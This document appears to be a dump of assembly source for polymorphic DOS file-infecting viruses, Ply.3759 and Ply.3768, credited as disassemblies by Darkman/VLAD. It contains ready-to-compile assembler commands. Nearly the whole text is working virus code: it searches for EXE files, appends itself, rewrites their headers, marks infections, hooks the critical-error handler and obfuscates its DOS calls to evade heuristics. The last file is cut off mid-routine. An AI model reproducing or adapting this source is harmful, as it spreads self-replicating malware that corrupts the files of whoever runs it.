sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+100h)
add dx,ax ; DX = stack pointer
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,(5701h-2020h) ; Set file's date and time
add ax,2020h
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov ax,bx ; AX = " " " " " "
nop
add ax,10h ; AX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],ax ; Add segment of beginning of code...
add ax,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,ax ; SS = stack segment
sti ; Set interrupt-enable flag
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
db 00h
file_specifi db '*.VXE',00h ; File specification
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin

@ -0,0 +1,924 @@
comment *
Ply.3759
Disassembly by
Darkman/VLAD
Ply.3759 is a 3759 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3759 has an error handler, anti-heuristic techniques and
is polymorphic in file using its internal polymorphic engine.
To compile Ply.3759 with Turbo Assembler v 4.0 type:
TASM /m PLY_3759.ASM
TLINK /t /x PLY_3759.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3759
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,poly_begin ; SI = offset of poly_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
neg ax ; Negate AX
nop
sub ax,02h ; Subtract two from 16-bit immediate
stosw ; Store 16-bit immediate
nop
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a JMP imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
jmp_exit:
jmp test_loop
nop
delete_jmp:
cmp al,05h ; Delete previously created JMP im...
nop
jne test_loop ; Not equal? Jump to test_loop
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
jne jmp_exit_ ; Not equal? Jump to jmp_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb jmp_exit_ ; Below? Jump to jmp_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
jmp_exit_:
jmp test_loop
nop
test_loop:
pop si ; Load SI from stack
nop
nop
pop cx ; Load CX from stack
nop
nop
mov ax,03h ; AX = size of block
add si,ax ; SI = offset of next three-byte b...
nop
dec cx ; Decrease CX
nop
nop
jz poly_exit ; Zero? Jump to poly_exit
nop
jmp poly_loop
poly_exit:
jmp prepare_exit
nop
get_poly_off proc near ; Get random offset of polymorphic...
in al,40h ; AL = 8-bit random number
nop
mov ah,al ; AH = " " "
nop
in al,40h ; AL = 8-bit random number
nop
mov di,ax ; DI = 16-bit random number
nop
mov ax,(poly_end-poly_begin)/03h
get_rnd_num:
sub di,ax ; Subtract number of polymorphic b...
nop
cmp di,ax ; Too large a 16-bit random number?
nop
jae get_rnd_num ; Above or equal? Jump to get_rnd_num
nop
mov ax,di ; AX = 16-bit random number within...
nop
add di,ax ; Add number of polymorphic blocks
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
add di,ax ; " " " " "
nop
lea ax,poly_blocks ; AX = offset of poly_blocks
add di,ax ; Add offset of poly_blocks to ran...
nop
add di,bp ; Add delta offset
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
cmp [di],ax ; Offset already in use?
nop
jne get_poly_off ; Not equal? Jump to get_poly_off
nop
ret ; Return!
nop
nop
endp
prepare_exit:
lea si,file_header ; SI = offset of file_header
add si,bp ; Add delta offset
nop
lea di,instruct_ptr ; SI = offset of instruct_ptr
add di,bp ; Add delta offset
nop
mov ax,[si+14h] ; AX = instruction pointer
stosw ; Store instruction pointer
nop
nop
mov ax,[si+16h] ; AX = code segment
stosw ; Store code segment
nop
nop
mov ax,[si+0eh] ; AX = stack segment
stosw ; Store stack segment
nop
nop
mov ax,[si+10h] ; AX = stack pointer
stosw ; Store stack pointer
nop
nop
mov ah,1ah ; Set disk transfer area address
nop
lea dx,dta ; DX = offset of dta
add dx,bp ; Add delta offset
nop
mov di,dx ; DI = offset of dta
nop
int 21h
nop
mov ax,3524h ; Get interrupt vector 24h
int 21h
nop
push bx ; Save BX at stack
nop
nop
mov ax,es ; ES = segment of interrupt 24h
nop
push ax ; Save AX at stack
nop
nop
mov ax,cs ; AX = code segment
nop
mov es,ax ; ES = " "
nop
mov ax,2524h ; Get interrupt vector 24h
lea dx,int24_virus ; DX = offset of int24_virus
add dx,bp ; Add delta offset
nop
mov ax,(4e00h+2020h) ; Find first matching file
sub ax,2020h
mov cx,0000000000000111b
lea dx,file_specifi ; DX = offset of file_specifi
add dx,bp ; Add delta offset
nop
mov bx,dx ; BX = offset of file_specifi
nop
mov al,'E'
nop
mov [bx+02h],al ; Correct the file specification
find_next:
int 21h
nop
jnc open_file ; No error? Jump to open_file
nop
pop ax ; Load AX from stack
nop
nop
mov ds,ax ; DS = segment of interrupt 24h
nop
pop dx ; Load DX from stack
nop
nop
mov ax,2524h ; Set interrupt vector 24h
int 21h
nop
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov ds,bx ; DS = segment of PSP for current ...
nop
mov ah,1ah ; Set disk transfer area address
nop
mov dx,80h ; DX = offset of default disk tran...
int 21h
nop
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
jmp virus_exit
open_file:
mov al,'V'
nop
mov [bx+02h],al ; Correct the file specification
mov ax,3d00h ; Open file (read)
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ah,3fh ; Read from file
nop
mov dx,si ; DX = offset of file_header
nop
mov cx,1ah ; Read twenty-six bytes
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,('ZM'+2020h) ; EXE signature
sub ax,2020h
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
xchg ah,al ; Exchange EXE signature
nop
cmp [si],ax ; Found EXE signature?
nop
je examine_file ; Equal? Jump to examine_file
nop
jmp_find_nxt:
mov ax,(4f00h+2020h) ; Find next matching file
sub ax,2020h
jmp find_next
nop
examine_file:
mov ax,2020h
cmp [si+12h],ax ; Already infected?
je jmp_find_nxt ; Equal? Jump to jmp_find_nxt
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
xor cx,cx ; CX = new file attributes
nop
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,(3d02h+2020h) ; Open file (read/write)
sub ax,2020h
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
xchg bx,ax ; BX = file handle
nop
nop
mov ax,4202h ; Set current file position (EOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,(code_end-code_begin)
lea dx,code_begin ; DX = offset of code_begin
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,[si+08h] ; AX = header size in paragraphs
mov cl,04h ; Multiply by paragraphs
nop
shl ax,cl ; AX = header size
nop
push bx ; Save BX at stack
nop
nop
xchg ax,bx ; BX = header size
nop
nop
mov ax,[di+1ah] ; AX = low-order word of filesize
mov dx,[di+1ch] ; DX = high-order word of filesize
push ax ; Save AX at stack
nop
nop
push dx ; Save DX at stack
nop
nop
sub ax,bx ; Subtract header size from filesize
nop
sbb dx,00h ; Convert to 32-bit
mov cx,10h
div cx ; Divide by paragraphs
nop
mov [si+14h],dx ; Store instruction pointer
mov [si+16h],ax ; Store code segment
lea bx,delta_offset ; BX = offset of delta_offset
add bx,bp ; Add delta offset
nop
mov [bx],dx ; Store delta offset
nop
inc ax ; Increase AX
nop
nop
mov [si+0eh],ax ; Store stack segment
mov ax,(code_end-code_begin+100h)
add dx,ax ; DX = stack pointer
nop
mov ax,1111111111111110b
and dx,ax ; DX = " "
nop
mov [si+10h],dx ; Store stack pointer
mov ax,2020h ; AX = infection mark
mov [si+12h],ax ; Store infection mark
pop dx ; Load DX from stack
nop
nop
pop ax ; Load AX from stack
nop
nop
add ax,(code_end-code_begin)
adc dx,00h ; Convert to 32-bit
mov cl,09h
nop
push ax ; Save AX at stack
nop
nop
shr ax,cl ; Multiply by pages
nop
ror dx,cl ; " " "
nop
stc ; Set carry flag
nop
nop
adc dx,ax ; DX = total number of 512-bytes p...
nop
pop ax ; Load AX from stack
nop
nop
and ah,00000001b
mov [si+04h],dx ; Store totalt number of 512-bytes...
mov [si+02h],ax ; Number of bytes in last 512-byte...
pop bx ; Load BX from stack
nop
nop
mov ax,4201h ; Set current file position (CFP)
mov cx,-01h
mov dx,-(code_end-delta_offset)
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,02h ; Write two bytes
lea dx,delta_offset ; DX = offset of delta_offset
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ax,4200h ; Set current file position (SOF)
xor cx,cx ; Zero CX
nop
xor dx,dx ; Zero DX
nop
int 21h
nop
mov ax,(4000h+2020h) ; Write to file
sub ax,2020h
mov cx,1ah ; Write twenty-six bytes
mov dx,si ; DX = offset of file_header
nop
int 21h
nop
mov ax,(5701h-2020h) ; Set file's date and time
add ax,2020h
mov cx,[di+16h] ; CX = file time
mov dx,[di+18h] ; DX = file date
int 21h
nop
mov ah,3eh ; Close file
nop
int 21h
nop
mov ax,(4301h+2020h) ; Set file attributes
sub ax,2020h
mov ch,00h ; Zero CH
nop
mov cl,[di+15h] ; CL = file attribute
lea dx,filename ; DX = offset of filename
add dx,bp ; Add delta offset
nop
int 21h
nop
mov ah,4fh ; Find next matching file
nop
jmp find_next
int24_virus proc near ; Interrupt 24h of Ply.3759
mov al,03h ; Fail system call in progress
nop
jmp int24_exit
nop
endp
virus_exit:
mov ah,62h ; Get current PSP address
nop
int 21h
nop
mov es,bx ; ES = segment of PSP for current ...
nop
mov cx,bx ; CX = " " " " " "
nop
add cx,10h ; CX = segment of beginning of code
lea si,instruct_ptr ; SI = offset of instruct_ptr
add si,bp ; Add delta offset
nop
add [si+02h],cx ; Add segment of beginning of code...
add cx,[si+04h] ; Add original stack segment to se...
cli ; Clear interrupt-enable flag
nop
nop
xor ax,ax ; Zero AX
nop
poly_end:
mov sp,[si+06h] ; SP = stack pointer
mov ss,cx ; SS = stack segment
sti ; Set interrupt-enable flag
push ax ; Save AX at stack
mov ds,bx ; DS = segment of PSP for current ...
db 0eah ; JMP imm32 (opcode 0eah)
instruct_ptr dw ? ; Instruction pointer
code_seg dw ? ; Code segment
stack_seg dw ? ; Stack segment
stack_ptr dw ? ; Stack pointer
int24_exit:
iret ; Interrupt return!
db 00h,00h
file_specifi db '*.VXE',00h ; File specification
file_header dw 0ah dup(?),00h,0fff0h,?
db 00h
poly_buffer db 03h dup(?) ; Polymorphic buffer
poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?))
code_end:
dta:
db 15h dup(?) ; Used by DOS for find next-process
file_attr db ? ; File attribute
file_time dw ? ; File time
file_date dw ? ; File date
filesize dd ? ; Filesize
filename db 0dh dup(?) ; Filename
data_end:
end code_begin

@ -0,0 +1,926 @@
comment *
Ply.3768
Disassembly by
Darkman/VLAD
Ply.3768 is a 3768 bytes parasitic direct action EXE virus. Infects every
file in current directory, when executed, by appending the virus to the
infected file. Ply.3768 has an error handler, anti-heuristic techniques and
is polymorphic in file using its internal polymorphic engine.
To compile Ply.3768 with Turbo Assembler v 4.0 type:
TASM /m PLY_3768.ASM
TLINK /t /x PLY_3768.OBJ
*
.model tiny
.code
org 100h ; Origin of Ply.3768
code_begin:
delta_offset equ $+01h ; Delta offset
mov bp,100h ; BP = delta offset
poly_begin:
mov ax,cs ; AX = code segment
nop
mov ds,ax ; DS = " "
nop
mov es,ax ; ES = " "
nop
mov ax,100h ; AX = offset of beginning of code
sub bp,ax ; Subtract offset of beginning of ...
nop
sti ; Set interrupt-enable flag
nop
nop
cld ; Clear direction flag
nop
nop
lea si,poly_begin ; SI = offset of poly_begin
add si,bp ; Add delta offset
nop
mov cx,(poly_end-poly_begin)/03h
poly_loop:
in al,40h ; AL = 8-bit random number
nop
and al,00000111b ; AL = random number between zero ...
nop
push cx ; Save CX at stack
nop
nop
push si ; Save SI at stack
nop
nop
cmp al,00h ; Prepend a NOP to the opcode?
nop
jne test_append ; Not equal? Jump to test_append
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
je dont_poly ; Equal? Jump to dont_poly
nop
mov al,[si+02h] ; AL = third byte of three-byte block
cmp al,90h ; NOP (opcode 90h)
nop
jne dont_poly ; Not equal? Jump to dont_poly
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx+01h],ax ; Store first word of three-bytes ...
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8 ; Equal? Jump to dec_imm8
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne prepend_nop ; Not equal? Jump to prepend_nop
nop
dec_imm8:
dec byte ptr [bx+02h] ; Decrease 8-bit immediate
prepend_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx],al ; Prepend a NOP to the opcode
nop
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly:
jmp test_loop
test_append:
cmp al,01h ; Append a NOP to the opcode?
nop
jne test_create ; Not equal? Jump to test_create
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne dont_poly_ ; Not equal? Jump to dont_poly_
nop
mov ax,[si+01h] ; AX = second word of three-bytes ...
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],ax ; Store second word of three-bytes...
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je dec_imm8_ ; Equal? Jump to dec_imm8_
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
jne append_nop ; Not equal? Jump to append_nop
nop
dec_imm8_:
inc byte ptr [bx+01h] ; Decrease 8-bit immediate
append_nop:
mov al,90h ; NOP (opcode 90h)
nop
mov [bx+02h],al ; Append a NOP to the opcode
mov di,si ; DI = offset of current three-byt...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
dont_poly_:
jmp test_loop
test_create:
cmp al,02h ; Create a CALL imm16 to the opcode?
nop
jne delete_call ; Not equal? Jump to delete_call
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_call ; Not equal? Jump to create_call
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_call:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,0c3h ; RET (opcode 0c3h)
nop
je call_exit ; Equal? Jump to call_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je call_exit ; Equal? Jump to call_exit
nop
cmp al,50h ; PUSH reg16/POP reg16?
nop
je call_exit ; Equal? Jump to call_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0c3h ; RET (opcode 0c3h)
nop
stosb ; Store RET
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
in al,40h ; AL = 8-bit random number
nop
stosb ; Store 8-bit random number
nop
nop
mov al,0e8h ; CALL imm16 (opcode 0e8h)
nop
lea bx,poly_buffer ; BX = offset of poly_buffer
add bx,bp ; Add delta offset
nop
mov [bx],al ; Create a CALL imm16 to the opcode
nop
mov ax,di ; AX = random offset of polymorphi...
nop
sub ax,si ; Subtract offset of current three...
nop
sub ax,06h ; Subtract size of six-bytes block
mov [bx+01h],ax ; Store 16-bit immediate
mov di,si ; SI = offset of current three-byt...
nop
mov ax,03h ; AX = size of opcode CALL imm16
sub di,ax ; Subtract size of opcode CALL imm...
nop
mov si,bx ; SI = offset of poly_buffer
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
call_exit:
jmp test_loop
delete_call:
cmp al,03h ; Delete previously created CALL i...
nop
jne test_create_ ; Not equal? Jump to test_create_
nop
mov al,[si] ; AL = first byte of three-bytes b...
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)?
nop
jne call_exit_ ; Not equal? Jump to call_exit_
nop
mov ax,[si+01h] ; AX = 16-bit immediate
add ax,03h ; Add size of opcode CALL imm16
mov di,si ; DI = offset of current three-byt...
nop
add si,ax ; Add 16-bit immediate
nop
lea bx,poly_blocks ; BX = offset of poly_blocks
add bx,bp ; Add delta offset
nop
cmp si,bx ; 16-bit immediate within polymorp...
nop
jb call_exit_ ; Below? Jump to call_exit_
nop
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,90h ; NOP (opcode 90h)
nop
mov ah,al ; NOP; NOP (opcode 90h,90h)
nop
mov [si-03h],ax ; Store NOP; NOP
in al,40h ; AL = 8-bit random number
nop
mov [si-01h],al ; Store 8-bit random number
in al,40h ; AL = 8-bit random number
nop
mov [si],al ; Store 8-bit random number
nop
call_exit_:
jmp test_loop
test_create_:
cmp al,04h ; Create a JMP imm16 to the opcode?
nop
jne delete_jmp ; Not equal? Jump to delete_jmp
nop
mov ax,[si] ; AX = first word of three-bytes b...
nop
cmp al,90h ; NOP (opcode 90h)?
nop
jne create_jmp ; Not equal? Jump to create_jmp
nop
mov al,ah ; AL = second byte of three-bytes ...
nop
create_jmp:
cmp al,0e9h ; JMP imm16 (opcode 0e9h)?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0e8h ; CALL imm16 (opcode 0e8h)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
cmp al,0ebh ; JMP imm8 (opcode 0ebh)
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
and al,11110000b
nop
cmp al,70h ; Jump on condition?
nop
je jmp_exit ; Equal? Jump to jmp_exit
nop
call get_poly_off
mov cx,03h ; Move three bytes
rep movsb ; Move three-bytes block to offset...
nop
mov al,0e9h ; JMP imm16 (opcode 0e9h)
nop
stosb ; Store JMP imm16
nop
nop
